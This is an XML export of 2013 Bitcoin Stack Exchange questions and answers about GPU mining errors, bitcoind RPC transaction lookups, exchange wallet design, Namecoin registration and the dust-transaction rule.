  <row Id="11753" PostTypeId="1" CreationDate="2013-06-21T05:48:47.863" Score="2" ViewCount="17751" Body="&lt;p&gt;I just starting with mining today I have everything set up for slush pool on &#xA;GUIMiner - v2012-12-03 .  I'm not sure what is wrong but this is what the console says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2013-06-21 01:37:26: Listener for &quot;GPU Miner&quot; started&#xA;2013-06-21 01:37:28: Listener for &quot;GPU Miner&quot;: stratum.bitcoin.cz:3333 21/06/2013 01:37:28, checking for stratum...&#xA;2013-06-21 01:37:28: Listener for &quot;GPU Miner&quot;: stratum.bitcoin.cz:3333 21/06/2013 01:37:28, started OpenCL miner on platform 0, device 0 (Juniper)&#xA;2013-06-21 01:37:28: Listener for &quot;GPU Miner&quot;: stratum.bitcoin.cz:3333 21/06/2013 01:37:28, no response to getwork, using as stratum&#xA;2013-06-21 01:37:39: Listener for &quot;GPU Miner&quot;: stratum.bitcoin.cz:3333 21/06/2013 01:37:39, Verification failed, check hardware! (0:0:Juniper, a4627d39)&#xA;2013-06-21 01:37:51: Listener for &quot;GPU Miner&quot;: stratum.bitcoin.cz:3333 21/06/2013 01:37:51, Verification failed, check hardware! (0:0:Juniper, 9fcd8ac2)&#xA;2013-06-21 01:37:52: Listener for &quot;GPU Miner&quot;: stratum.bitcoin.cz:3333 21/06/2013 01:37:52, Verification failed, check hardware! (0:0:Juniper, 87fcf304)&#xA;2013-06-21 01:37:55: Listener for &quot;GPU Miner&quot;: stratum.bitcoin.cz:3333 21/06/2013 01:37:55, Verification failed, check hardware! (0:0:Juniper, 5aa4b0f1)!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also took a screenshot of the settings I have chosen &lt;a href=&quot;https://i.stack.imgur.com/pwfvE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5659" LastActivityDate="2017-07-09T05:20:56.657" Title="GUI Miner no responses to getwork, and Verification failed" Tags="|getwork|verification|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11754" PostTypeId="1" CreationDate="2013-06-21T10:41:09.263" Score="0" ViewCount="376" Body="&lt;p&gt;I want to ask a question that why isn't GUI miner working this is what is said&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the bottom right corner it says connecting... but nothing happens &#xA;I am very new and don't know about mining so much and this is the first time I am trying &#xA;help me I am on windows 8 &lt;/p&gt;&#xA;" OwnerUserId="5661" LastEditorUserId="5406" LastEditDate="2016-04-24T12:21:35.473" LastActivityDate="2016-04-24T12:21:35.473" Title="gui miner wont mine on slushes pool" Tags="|miner-configuration|guiminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11755" PostTypeId="2" ParentId="11754" CreationDate="2013-06-21T11:28:23.067" Score="1" Body="&lt;p&gt;Read the manual for gui-miner and make sure have the connection parameters configured correctly. Mining is super competitive these days so unless you have a high-end computer which can output high hash-rates you will very likely wait a long time for coins. In the meantime you are burning electricity which you or someone else need to pay for.&lt;/p&gt;&#xA;" OwnerUserId="4842" LastActivityDate="2013-06-21T11:28:23.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11756" PostTypeId="1" CreationDate="2013-06-21T13:34:28.833" Score="2" ViewCount="965" Body="&lt;p&gt;&lt;em&gt;Not looking for a discussion on how Bitcoin payments can be traced and it's not &lt;strong&gt;truly&lt;/strong&gt; anonymous. I'm not looking for total anonymity, I just don't want the merchant or payment processor to identify me.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prior to their update, you could use BitInstant to send money to peoples' PayPal addresses straight from a Bitstamp coupon. Now, they want you to verify who you are with a name, address, urine sample etc. I'm looking for services like the &lt;em&gt;old&lt;/em&gt; BitInstant which allow you to direct-pay to PayPal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor being allowed is a plus but not required. I can pay from Bitcoin, MtGox, BTC-e or Bitstamp. The minimum transaction should be trivial, no more than $25-30.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help.&lt;/p&gt;&#xA;" OwnerUserId="5662" LastActivityDate="2016-08-07T06:19:37.990" Title="Anonymous (no ID, no verification) Payments to PayPal?" Tags="|privacy|paypal|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11758" PostTypeId="2" ParentId="4269" CreationDate="2013-06-21T14:38:13.970" Score="0" Body="&lt;p&gt;We received a lot of requests for this, so we built a Bitcoin extension for IgnitionDeck: &lt;a href=&quot;http://ignitiondeck.com/id/bitcoin-crowdfunding/&quot; rel=&quot;nofollow&quot;&gt;http://ignitiondeck.com/id/bitcoin-crowdfunding/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, you can use Bitcoin to crowdfund on WordPress.&lt;/p&gt;&#xA;" OwnerUserId="5663" LastActivityDate="2013-06-21T14:38:13.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11759" PostTypeId="1" AcceptedAnswerId="11760" CreationDate="2013-06-21T16:39:00.607" Score="23" ViewCount="18537" Body="&lt;p&gt;I am playing around with Bitcoin-qt. I want to iterate all blocks and all their transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've been able to get a list of all tx's in the blocks I want to. Now I want to get information about the transaction: Amount, confirmations and so forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I use the &lt;code&gt;gettransaction&lt;/code&gt; method of the Bitcoin-qt API, it seems I can only get transactions from my own wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I cannot say, because I get the error &quot;&lt;code&gt;Invalid or non-wallet transaction id (code -5)&lt;/code&gt; &quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gettransaction 0e3e2357e806b6cdb1f70b54c3a3a17b6714ee1f0e68bebb44a74b1efd512098&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I have a TX of one of my own transactions, I get a correct response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public void AddBtcTransaction(string hash)&#xA;        {&#xA;            List&amp;lt;string&amp;gt; parameters = new List&amp;lt;string&amp;gt;();&#xA;            parameters.Add(hash);&#xA;&#xA;            var data = RequestServer(&quot;gettransaction&quot;, parameters);&#xA;            int i = 0;&#xA;        }&#xA;&#xA;        public string RequestServer(string methodName, List&amp;lt;string&amp;gt; parameters)&#xA;        {&#xA;            string respVal = string.Empty;&#xA;&#xA;            var rawRequest = GetRawRequest();&#xA;            JObject joe = new JObject();&#xA;            joe.Add(new JProperty(&quot;jsonrpc&quot;, &quot;1.0&quot;));&#xA;            joe.Add(new JProperty(&quot;id&quot;, &quot;1&quot;));&#xA;            joe.Add(new JProperty(&quot;method&quot;, methodName));&#xA;&#xA;            JArray props = new JArray();&#xA;            foreach (var parameter in parameters)&#xA;            {&#xA;                props.Add(parameter);&#xA;            }&#xA;&#xA;            joe.Add(new JProperty(&quot;params&quot;, props));&#xA;&#xA;            // serialize json for the request&#xA;            string s = JsonConvert.SerializeObject(joe);&#xA;            byte[] byteArray = Encoding.UTF8.GetBytes(s);&#xA;            rawRequest.ContentLength = byteArray.Length;&#xA;            Stream dataStream = rawRequest.GetRequestStream();&#xA;            dataStream.Write(byteArray, 0, byteArray.Length);&#xA;            dataStream.Close();&#xA;&#xA;            StreamReader streamReader = null;&#xA;            try&#xA;            {&#xA;                WebResponse webResponse = rawRequest.GetResponse();&#xA;&#xA;                streamReader = new StreamReader(webResponse.GetResponseStream(), true);&#xA;&#xA;                respVal = streamReader.ReadToEnd();&#xA;                var data = JsonConvert.DeserializeObject(respVal).ToString();&#xA;                return data;&#xA;            }&#xA;            catch (Exception exp)&#xA;            {&#xA;&#xA;            }&#xA;            finally&#xA;            {&#xA;                if (streamReader != null)&#xA;                {&#xA;                    streamReader.Close();        &#xA;                }&#xA;&#xA;            }&#xA;            return string.Empty;&#xA;        }&#xA;&#xA;        private HttpWebRequest GetRawRequest()&#xA;        {&#xA;&#xA;            HttpWebRequest webRequest = (HttpWebRequest)WebRequest.Create(ServerIp);&#xA;            webRequest.Credentials = new NetworkCredential(UserName, Password);&#xA;            /// important, otherwise the service can't desirialse your request properly&#xA;            webRequest.ContentType = &quot;application/json-rpc&quot;;&#xA;            webRequest.Method = &quot;POST&quot;;&#xA;&#xA;            return webRequest;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea about how I would get information about transactions outside my wallet?&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2013-06-21T16:46:57.103" Title="Get non-wallet transactions using bitcoin rpc (gettransaction)" Tags="|transactions|development|bitcoin-core|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11760" PostTypeId="2" ParentId="11759" CreationDate="2013-06-21T16:46:57.103" Score="33" Body="&lt;p&gt;Enable &lt;code&gt;txindex=1&lt;/code&gt; in your bitcoin.conf (You'll need to rebuild the database as the transaction index is normally not maintained, start using &lt;code&gt;-reindex&lt;/code&gt; to do so), and use the &lt;code&gt;getrawtransaction&lt;/code&gt; call to request information about any transaction (it won't work for the genesis block's coinbase transaction though, it's a special case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this will only give you raw transaction data (you can add a &lt;code&gt;1&lt;/code&gt; argument after the call to have it decoded instead of in hexadecimal notation), but it cannot know the payment amount or fees, for example.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-06-21T16:46:57.103" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="11761" PostTypeId="1" AcceptedAnswerId="11918" CreationDate="2013-06-22T00:58:00.440" Score="3" ViewCount="486" Body="&lt;p&gt;I'd like to sell bitcoins to people online.  &lt;em&gt;My question is this&lt;/em&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What kinds of payments can I accept online that are &lt;em&gt;not&lt;/em&gt; refundable, or charge-backable, &lt;em&gt;and&lt;/em&gt; can somewhat easily be turned back into a local currency via international bank transfer or other?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that PayPal, Credit cards, and Interac transfers can all be reversed. I've &lt;em&gt;heard&lt;/em&gt; that things like UCash, are irreversible.... I'm new to this whole scene, and would like some informed input. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, I'd like something that's available in both US and Canadian stores at a minimum, and is a &quot;gift card&quot; like solution that people can buy at Walmart, or their local grocery store, and could use to purchase something with me personally, or on a website. I'm flexible on almost everything except for losing payments due to chargebacks.&lt;/p&gt;&#xA;" OwnerUserId="4317" LastActivityDate="2013-07-01T02:09:48.420" Title="Accepting payment for bitcoins online: What types of payment &quot;cards&quot; or epayments are non-refundable?" Tags="|payment|bitcoin-credit-card|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11762" PostTypeId="1" AcceptedAnswerId="49881" CreationDate="2013-06-22T03:31:14.153" Score="5" ViewCount="1584" Body="&lt;p&gt;After following &lt;a href=&quot;http://forum.yubico.com/files/VIPunlockGuide.pdf&quot; rel=&quot;nofollow&quot;&gt;the instructions here&lt;/a&gt;, which suggested I use &lt;a href=&quot;http://yubico.github.io/yubikey-personalization/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ykpers&lt;/code&gt;&lt;/a&gt; or the &lt;a href=&quot;http://yubico.github.io/yubikey-personalization-gui/&quot; rel=&quot;nofollow&quot;&gt;gui version&lt;/a&gt;, I discovered the Mt. Gox Yubikey is protected by a &quot;configuration protection access code.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://static.yubico.com/var/uploads/pdfs/YubiKey_manual-2.2.pdf&quot; rel=&quot;nofollow&quot;&gt;the manual&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Protection of the key and configuration data&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Given the symmetric nature of the AES encryption algorithm, the&#xA;  security of the Yubikey relies that the AES key is logically and&#xA;  physically protected both in the key and in the server that verifies&#xA;  the OTP.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The configuration data is updated via a configuration API, accessible&#xA;  via the USB interface. To prevent unauthorized update, the&#xA;  configuration can be protected by a 48-bit access code. If used, an&#xA;  exhaustive search of all combinations would typically take some&#xA;  100,000 years to perform. Furthermore, the Yubikey configuration data&#xA;  is write-only, i.e. configuration data and the key can only be written&#xA;  but not be read. This means that unauthorized update of the&#xA;  configuration is an act of sabotage rather than a security threat.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The configuration data is stored in a non-volatile storage integral to&#xA;  the microcontroller. A potential attack is to physically probe the&#xA;  silicon or analyze the hardware behavior to potentially gain full or&#xA;  partial knowledge of the stored secrets. However, such an attack would&#xA;  require a complete break-up of the Yubikey, involving dissolving the&#xA;  microcontroller chip encapsulation. Furthermore, very advanced&#xA;  equipment is needed to probe the chip internals. Given the effort and&#xA;  costs involved for such an attack, this is not considered a threat&#xA;  given that just a single device will be broken.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yubikey wrote me:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In case, if you have forgotten the configuration protection code or do&#xA;  not find it in the log file, then you can not reconfigure the YubiKey&#xA;  slot again. This functionality is implemented to strengthen the&#xA;  security.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also, he wrote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In the context of &lt;a href=&quot;http://static.yubico.com/var/uploads/pdfs/YubiKey_manual-2.2.pdf&quot; rel=&quot;nofollow&quot;&gt;the manual&lt;/a&gt;, an &quot;unauthorized update of the&#xA;  configuration&quot; would be changing the configuration settings on an&#xA;  unprotected YubiKey. Since you already have an access code in place,&#xA;  you cannot preform such an update.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But it should still be possible to &quot;sabotage&quot; a Mt. Gox Yubikey, no? If not, why? If so, how?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;What is also strange is that when I try to create an account at &lt;a href=&quot;http://forum.yubico.com&quot; rel=&quot;nofollow&quot;&gt;forum.yubico.com&lt;/a&gt; or test my Yubikey at &lt;a href=&quot;http://demo.yubico.com&quot; rel=&quot;nofollow&quot;&gt;demo.yubico.com&lt;/a&gt;, they reject my OTP. Yubico Forum's registration says my OTP can't contain non alphanumeric characters, and it sometimes contains periods.&lt;/strike&gt; [Update: this ended up being because I was using Dvorak keyboard layout for the Yubikey. I've changed it, and now my OTPs work on these sites.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE #2: I found this: &lt;a href=&quot;https://github.com/nezza/yubicrack&quot; rel=&quot;nofollow&quot;&gt;https://github.com/nezza/yubicrack&lt;/a&gt;&#xA;But there has to be a quicker way than doing a brute-force search of the code. I really wonder why it is so hard to flash a Yubikey? Is it so that others can't render it effectively &quot;lost&quot; or &quot;stolen&quot;?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2013-06-25T01:44:07.353" LastActivityDate="2016-11-26T19:14:06.377" Title="How do I reconfigure a Mt. Gox Yubikey?" Tags="|security|mtgox|data-security|security-key|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11763" PostTypeId="2" ParentId="11753" CreationDate="2013-06-22T05:17:31.980" Score="2" Body="&lt;p&gt;An answer can be found on bitcoin talk&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=177855.msg1852355#msg1852355&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=177855.msg1852355#msg1852355&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quote from deepceleron on bitcoin talk&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is your GPU returning invalid hashes from it's kernel. This is&#xA;  because new drivers are crap for older cards.&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;Uninstall AMD APP SDK&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Uninstall AMD Catalyst Install manager: choose &quot;uninstall all software&quot;, make sure you have only a VGA driver after restart.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Manually remove these files not removed by the installer; any other obvious ATI files with the same file date:&lt;br&gt;&#xA;  C:\Windows\System32\amdocl64.dll   C:\Windows\System32\amdoclcl64.dll &#xA;  C:\Windows\System32\OpenCL.dll   C:\Windows\SysWOW64\amdocl.dll&lt;br&gt;&#xA;  C:\Windows\SysWOW64\amdoclcl.dll   C:\Windows\SysWOW64\OpenCL.dll&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Install just the Catalyst 11.11 driver package (no SDK is needed; the AMD APP runtime is included with driver)&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Mine just a bit slower on your 6870 than a 5830 would.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;Better:&#xA;  - use cgminer&#xA;  &lt;strong&gt;- set phatk worksize to 256 and underclock GPU RAM to 300MHz for best power efficiency and higher hashrate&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The big thing to take away from this:&#xA;set phatk &lt;strong&gt;worksize to 256&lt;/strong&gt; and &lt;strong&gt;underclock GPU RAM to 300MHz&lt;/strong&gt; for best power efficiency and higher hashrate&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A suggestion i can give you is that bitcointalk can be a great place to find the answer to a lot of off the wall questions related to bitcoin or any alt-coin. &lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2013-06-22T05:17:31.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11764" PostTypeId="1" CreationDate="2013-06-22T06:20:15.907" Score="3" ViewCount="1807" Body="&lt;p&gt;I am trying to script automatic payments without hosting a full node (my server doesn't have enough harddrive space). To do this I'm using electrum's python interface, and I have created a transaction, but when I try to send it, I get the error message: &quot;TX rejected&quot;, &quot;code: -22&quot;. Looking that up &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/bitcoinrpc.h#L51&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, it appears that's an error either parsing or validating the transaction. It appears the error was thrown &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/rpcrawtransaction.cpp#L559&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I cannot determine why. The transaction contains 2 inputs, 2 outputs, and the outputs + fee of 0.0001 = the size of the inputs (as of now) as verified via blockchain.info. The size of the transaction is under 1kb, so the fee is as I understand .0001. I sent an earlier transaction of .0001 with a .0001 fee through the electrum UI and it went through fine. So why is this transaction failing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The raw transaction is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I uploaded the decoded version (using &lt;code&gt;electrum decoderawtransaction ...&lt;/code&gt; or &lt;a href=&quot;https://coinb.in/decode-raw-transaction.html&quot; rel=&quot;nofollow&quot;&gt;https://coinb.in/decode-raw-transaction.html&lt;/a&gt; - both give the same output) &lt;a href=&quot;http://pastebin.com/raw.php?i=ZGPbfen2&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="5654" LastEditDate="2013-06-22T17:56:52.720" LastActivityDate="2013-09-21T02:28:40.767" Title="Why does this transaction give me an error?" Tags="|transactions|electrum|error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11765" PostTypeId="2" ParentId="59" CreationDate="2013-06-22T06:35:46.023" Score="0" Body="&lt;p&gt;All the mining pools I tried required you to have .01 BTC in credits before withdrawing. With a CPU at the current rate, this could easily take a year to reach. And as the difficulty continues to rise, there's a large chance that you would &lt;strong&gt;never&lt;/strong&gt; reach this .01 BTC threshold. So unless you're doing something like operating a botnet, the answer is &quot;no&quot;. And even with a botnet, there are more profitable things you could be doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, do tell me if you happen to find a pool that has a smaller (or no) payment threshold.&lt;/p&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2013-06-22T06:35:46.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11766" PostTypeId="1" CreationDate="2013-06-22T06:54:00.037" Score="1" ViewCount="2328" Body="&lt;p&gt;I am going to develop an exchange website in PHP something like &lt;a href=&quot;http://coinbase.com&quot; rel=&quot;nofollow&quot;&gt;http://coinbase.com&lt;/a&gt;, &#xA;Now, I have setup the &lt;a href=&quot;http://bitcoindevkit.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoindevkit.com/&lt;/a&gt; for it and its running fine generating new addresses in the same wallet,&#xA;but now I need to create a individual wallet for each user, so how can create individual wallet for each user and then I can able to create address on that wallet.&lt;/p&gt;&#xA;" OwnerUserId="5671" LastEditorUserId="120" LastEditDate="2013-06-22T19:26:03.687" LastActivityDate="2022-04-25T10:29:26.150" Title="How can create individual wallet for each user" Tags="|wallet|client|exchanges|account-to-account|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11767" PostTypeId="1" CreationDate="2013-06-22T12:46:53.203" Score="1" ViewCount="607" Body="&lt;p&gt;How to enable website users to trade bitcoins on my website? I also want user wallets stored on my server. So users user can buy and purchase bitcoins on my website and they can completely use my website as their local wallet. Like they can gets all information regarding all transaction as history on my website. &lt;/p&gt;&#xA;" OwnerUserId="5673" LastEditorUserId="120" LastEditDate="2013-06-23T12:22:02.360" LastActivityDate="2013-06-23T12:22:02.360" Title="How to enable website users to trade bitcoins on my website?" Tags="|websites|website-integration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11768" PostTypeId="2" ParentId="11767" CreationDate="2013-06-22T18:18:32.697" Score="1" Body="&lt;p&gt;What you would probably want to do is just create one wallet for yourself which you encrypt, and then create some kind of data type on your server called wallet that you could create arbitrarily many of. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When people want to deposite money onto &quot;their&quot; wallet you would generate a new address for your wallet, which you can do as many times as you want. Once the bitcoins arrive you will credit them however many bitcoins they deposited on their fake wallet, which just lives on your server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when they want to withdraw money you send bitcoins from your main wallet, making sure to never allow them to withdraw more then they have been credited. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When people want to make a purchase with bitcoins on your site you just give them whatever they paid for and deduct from however many bitcoins are currently being credited to their account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this is all possible, unless your making a heavily bitcoin centric service such as an exchange, I would recommend using a third party service which already has tools built for merchants such as &lt;a href=&quot;https://coinbase.com/merchants&quot; rel=&quot;nofollow&quot;&gt;coinbase&lt;/a&gt; or &lt;a href=&quot;http://coinlab.com/&quot; rel=&quot;nofollow&quot;&gt;coinlab&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-06-22T18:18:32.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11769" PostTypeId="1" CreationDate="2013-06-22T20:29:03.120" Score="3" ViewCount="362" Body="&lt;p&gt;I'm very new to Namecoin and tried to to register a domain with &lt;code&gt;name_new d/&amp;lt;name&amp;gt;&lt;/code&gt;. I received the tx and rand response which seemed normal. Later (after 12+ blocks) when I did &lt;code&gt;firstupdate&lt;/code&gt; and it responded with an error (using windows and I think I had escape issues):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: {&quot;code&quot;:-1,&quot;message&quot;:&quot;name_firstupdate &amp;lt;name&amp;gt; &amp;lt;rand&amp;gt; [&amp;lt;tx&amp;gt;] &amp;lt;value&amp;gt;\nPerf&#xA;orm a first update after a name_new reservation.\nNote that the first update wil&#xA;l go into a block 12 blocks after the name_new, at the soonest.&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I corrected the escape issues and reissued &lt;code&gt;firstupdate&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: {&quot;code&quot;:-1,&quot;message&quot;:&quot;this name is already active&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then thinking maybe the original &lt;code&gt;firstupdate&lt;/code&gt; took, escape issues and all, I tried an &lt;code&gt;update&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: {&quot;code&quot;:-1,&quot;message&quot;:&quot;this coin is not in your wallet&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then did what I should have done first and &lt;a href=&quot;http://dot-bit.org/tools/domainSearch.php&quot; rel=&quot;nofollow&quot;&gt;looked up the domain name&lt;/a&gt; and found it exists and will expire in 188 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... my questions are: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Why did the name_new not inform me it was taken? The &lt;a href=&quot;http://dot-bit.org/HowToRegisterAndConfigureBitDomains&quot; rel=&quot;nofollow&quot;&gt;Wiki&lt;/a&gt; implies using name_new checks for existance:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or check if your domain if free with the command line (the command&#xA;  line don't do the conversion) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./namecoind name_new d/&amp;lt;name&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;2) Does the .01 fee for &lt;code&gt;name_new&lt;/code&gt; just disappear?&lt;/p&gt;&#xA;" OwnerUserId="3709" LastActivityDate="2014-11-06T19:52:18.023" Title="Namecoin name_new fee for already taken" Tags="|namecoin|domain-registering|" AnswerCount="2" CommentCount="0" ClosedDate="2020-04-29T03:13:30.637" ContentLicense="CC BY-SA 3.0" />
  <row Id="11770" PostTypeId="2" ParentId="10447" CreationDate="2013-06-22T22:10:47.800" Score="9" Body="&lt;p&gt;Here is the list of &lt;a href=&quot;http://litecoin.info/Service_Directory#Exchanges&quot; rel=&quot;nofollow noreferrer&quot;&gt;exchanges&lt;/a&gt; currently selling Litecoin &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.coinbase.com/join/514b7813555892e90f0000bf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Coinbase&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bittrex.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bittrex&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.kraken.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Kraken&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.bitfinex.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitfinex&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2017-12-14T18:52:42.560" LastActivityDate="2017-12-14T18:52:42.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11773" PostTypeId="2" ParentId="11764" CreationDate="2013-06-23T01:15:29.680" Score="2" Body="&lt;p&gt;The transaction wasn't going through because of the newly implemented &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/2577&quot; rel=&quot;nofollow&quot;&gt;&quot;dust transaction&quot; policy&lt;/a&gt; that makes it so that no output of a transaction may total less than 54.3 micro-bitcoins. One of my outputs was below this threshold. So I fixed that, but then the output to the &quot;change&quot; address was pulled below 54.3 uBTC and it still failed. I haven't found a way to ensure electrum doesn't try to deposit less than 54.3 uBTC into the change address, so for now I'm sticking with a single, large input to avoid small amounts of change.&lt;/p&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2013-06-23T01:15:29.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
